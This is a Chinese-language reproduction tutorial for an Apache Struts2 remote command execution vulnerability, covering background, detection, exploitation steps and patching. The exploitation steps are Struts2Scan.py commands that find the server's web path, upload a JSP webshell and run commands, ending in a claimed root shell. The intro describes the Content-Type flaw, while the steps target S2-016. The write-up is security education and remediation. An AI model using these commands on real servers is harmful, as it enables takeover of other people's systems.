一、漏洞介绍
Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站;目前web框架中非常流行的都是mvc设计模式、经典例子例如:python的Django、Flask;java的ssm等。因为使用MVC设计模式,所以在框架内部处理用户数据流参数的事后就不可避免的存在数据在不同层次流转的问题。struts2作为java的一款成熟的web框架,自然也面临这个问题,于是struts2设计了一套OGNL的模式来操作。
2017年3月6日,Apache Struts 2被曝存在远程命令执行漏洞。在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值构造恶意代码,在服务器上执行系统命令,完全控制该服务器,最后达到挖矿、对外攻/击、数据窃取勒索、篡改为菠菜站等目的。漏洞利用所需组件默认启用,风险等级为高危。
二、影响范围
三、awvs扫描结果
出现这样结果,代表可能网站就有 Struts2系列漏洞!
四、漏洞复现
Struts2-Scan-master.zip-网络安全文档类资源-CSDN下载
利用exp脚本,进行检测
(一)漏洞检测
python3 Struts2Scan.py -u url
发现存在四个 Struts 漏洞!
(二)漏洞利用——获取Web路径
python3 Struts2Scan.py -u url -n S2-016 --webpath
(三) 漏洞利用——上传shell
python3 Struts2Scan.py -u url -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp
(四)漏洞利用——命令执行
python3 Struts2Scan.py -u url -n S2-016 --exec
成功拿到root权限shell,复现成功!
四、漏洞修复
(1)临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
(2)根本解决方案:升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1 以消除漏洞影响。涉及版本变更,升级前应做好数据备份。
补丁地址:
Struts 2.3.32: https://github.com/apache/struts/releases/tag/STRUTS_2_3_32
Struts 2.5.10.1: https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1